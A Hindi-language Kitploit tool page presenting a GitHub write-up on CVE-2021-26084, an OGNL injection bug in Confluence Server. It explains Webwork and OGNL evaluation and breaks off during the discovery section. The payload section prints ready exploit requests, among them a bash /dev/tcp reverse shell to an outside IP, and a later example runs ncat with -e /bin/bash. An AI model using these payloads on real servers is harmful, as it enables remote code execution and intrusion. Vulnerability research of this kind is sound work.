Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-26084 — CVE-2021-26084 - Confluence Server Webwork OGNL इंजेक्शन | Kitploit
उपकरण/GitHubGitHub/orangmuda/cve-2021-26084
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHuborangmuda/cve-2021-26084

CVE-2021-26084

CVE-2021-26084 - Confluence Server Webwork OGNL इंजेक्शन

रिपॉजिटरी देखें
4344 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-26084

परिचय

यह लेख CVE-2021-26084 - Confluence Server Webwork OGNL इंजेक्शन [1] का एक अवलोकन प्रदान करता है, जो एक प्रमाणित उपयोगकर्ता को Confluence Server या Data Center इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देता है।

TL;DR

Confluence Server / Data Center वेब अनुरोधों को प्रोसेस करने के लिए Webwork 2 MVC फ्रेमवर्क का उपयोग करता है और व्यू लेयर मुख्य रूप से Velocity टेम्पलेट्स से बनी होती है। जब Velocity टेम्पलेट Webwork टैग का उपयोग करते हैं जिसमें $ युक्त value विशेषता होती है, तो एक दोहरी मूल्यांकन किया जाता है। जब $ के साथ कोई Value विशेषता वाला Webwork टैग सामना किया जाता है, तो Velocity टेम्पलेट के पार्सिंग में एक प्रारंभिक मूल्यांकन होता है; यह मूल्यांकित मान फिर Webwork टैग को पास किया जाता है जो मान को OGNL एक्सप्रेशन के रूप में और मूल्यांकन करता है। यदि एक्शन क्लास value विशेषता में प्रयुक्त पैरामीटर के लिए एक setter फ़ंक्शन प्रदान करता है, तो इस पैरामीटर को URL पैरामीटर का उपयोग करके URL से सेट किया जा सकता है। इसलिए, OGNL पेलोड के साथ एक URL तैयार करके, एक हमलावर Confluence Server / Data Center के प्रभावित संस्करणों पर रिमोट कोड निष्पादन कर सकता है।

पेलोड

# UnAuthenticated RCE  - based on the awesome write-up  at httpvoid; courtesy of  Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'

# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>

एक्सप्रेशन लैंग्वेज इंजेक्शन

एक्सप्रेशन लैंग्वेज इंजेक्शन कमजोरियाँ तब उत्पन्न होती हैं जब कोई एप्लिकेशन उपयोगकर्ता-नियंत्रणीय डेटा को एक स्ट्रिंग में शामिल करता है जो कोड इंटरप्रेटर द्वारा गतिशील रूप से मूल्यांकित किया जाता है। यदि उपयोगकर्ता डेटा कठोरता से मान्य नहीं किया गया है, तो एक हमलावर निष्पादित किए जाने वाले कोड को संशोधित करने के लिए तैयार किए गए इनपुट का उपयोग कर सकता है, और मनमाना कोड इंजेक्ट कर सकता है जो सर्वर द्वारा निष्पादित किया जाएगा [2]। ऑब्जेक्ट-ग्राफ नेविगेशन लैंग्वेज (OGNL) [3] जावा ऑब्जेक्ट्स को संभालने के लिए एक एक्सप्रेशन लैंग्वेज है। जब OGNL इंजेक्शन कमजोरी मौजूद होती है, तो हमलावर के लिए OGNL एक्सप्रेशन इंजेक्ट करना संभव होता है जिसका उपयोग मनमाना जावा कोड निष्पादित करने के लिए किया जा सकता है। गुण प्राप्त/सेट करने के अलावा, OGNL कई और सुविधाओं का समर्थन करता है, जिनमें से नीचे दिए गए एक्सप्लॉइट विकास के दृष्टिकोण से दिलचस्प प्रतीत होते हैं:

  • स्टैटिक विधि कॉलिंग: @java.lang.Runtime@getRuntime()

  • कंस्ट्रक्टर कॉलिंग: new java.lang.String[]{'/bin/bash','-c', 'xcalc'}

  • संदर्भ चर के साथ काम करने की क्षमता: #attr["webwork.valueStack"]

  • विधि कॉलिंग: #attr["webwork.valueStack"].findValue()

उपरोक्त निर्माणों को मिलाकर एक मान्य OGNL एक्सप्रेशन बनाया जा सकता है। एक विशिष्ट OGNL एक्सप्रेशन नीचे दिखाया गया है:

@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')

Webwork 2

WebWork 2 एक पुल-आधारित MVC फ्रेमवर्क है जो XWork नामक एक कमांड पैटर्न फ्रेमवर्क API के शीर्ष पर बनाया गया है और यह लोकप्रिय Apache Struts2 का पूर्ववर्ती है। Confluence उपयोगकर्ताओं द्वारा प्रस्तुत वेब अनुरोधों को प्रोसेस करने के लिए OpenSymphony के WebWork 2 का उपयोग करता है। Webwork अपने ऑब्जेक्ट स्टैक (जिसे ValueStack भी कहा जाता है) को नेविगेट करने के लिए OGNL पर आधारित एक शक्तिशाली एक्सप्रेशन लैंग्वेज का समर्थन करता है। यह JSP, FreeMarker, Velocity सहित कई व्यू तकनीकों का भी समर्थन करता है और एक समृद्ध टैग लाइब्रेरी प्रदान करता है। "WebWork: Strutting the OpenSymphony way" by Mike Cannon-Brookes [4] Webwork 2 फ्रेमवर्क का एक उत्कृष्ट अवलोकन प्रदान करता है। अन्य चीजों के अलावा, इस कमजोरी के लिए विशेष रुचि Webwork का निम्नलिखित के लिए समर्थन है:

  • अनुरोध पैरामीटर (URL पैराम) के आधार पर स्वचालित रूप से एक्शन के गुण सेट करना
  • व्यू इंटीग्रेशन (Velocity)
  • यूजर इंटरफेस / फॉर्म कम्पोनेंट (Webwork टैग) जो अपनी कुछ विशेषताओं को OGNL का उपयोग करके प्रोसेस करते हैं

खोज

कमजोरी का पता लगाने में मुख्य रूप से एक व्हाइट बॉक्स परीक्षण दृष्टिकोण शामिल था जहाँ OGNL मूल्यांकन का विश्लेषण करने के लिए स्रोत कोड इंस्ट्रुमेंटेशन का उपयोग किया गया था। GHSL शोधकर्ता Man Yue Mo के Apache Struts में OGNL इंजेक्शन पर उत्कृष्ट शोध [5] [6] [7] के बाद, यह देखा गया कि UIBean क्लास का evaluateParams विधि एक दिलचस्प उम्मीदवार के रूप में कार्य करता है। Confluence Data Center में webwork लाइब्रेरी का कोड बेस (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) JD GUI का उपयोग करके निकाला गया और evaluateParams के समान विधियों के लिए विश्लेषण किया गया। सबसे करीबी मैच com.opensymphony.webwork.views.jsp.ui.AbstractUITag में protected void evaluateParams(OgnlValueStack stack) विधि था। स्रोत कोड विश्लेषण ने आगे खुलासा किया कि एक com.opensymphony.webwork.util.SafeExpressionUtil क्लास मौजूद है जो अधिकांश OGNL पेलोड को अवरुद्ध करता है।

चूँकि लेखक के पास Confluence Server को डीबगर के माध्यम से चलाने का लगभग कोई विशेषज्ञता नहीं थी, उपरोक्त कक्षाओं में OGNL मूल्यांकन के परिणामों को डंप करने के लिए आदिम प्रिंट स्टेटमेंट का उपयोग किया गया था। स्रोत कोड को इंस्ट्रुमेंट करने में शामिल कदम थे:

टूल डाउनलोड करें